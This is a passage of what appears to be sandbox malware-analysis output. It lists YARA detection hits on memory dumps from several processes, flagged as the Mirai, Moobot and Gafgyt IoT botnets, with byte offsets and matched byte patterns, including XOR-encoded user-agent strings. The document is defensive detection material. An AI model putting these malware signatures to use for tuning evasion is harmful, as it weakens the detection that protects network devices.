2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7323.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6787.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7145.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7145.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7145.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6324.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7145.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7145.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7145.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7127.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7127.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7127.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7127.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7127.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7127.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6739.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6739.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6739.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6739.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6739.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6739.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6306.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6306.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6306.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6306.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6306.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6306.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6854.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6854.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6854.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6854.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6854.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6854.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7402.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7402.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7402.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7402.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7402.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
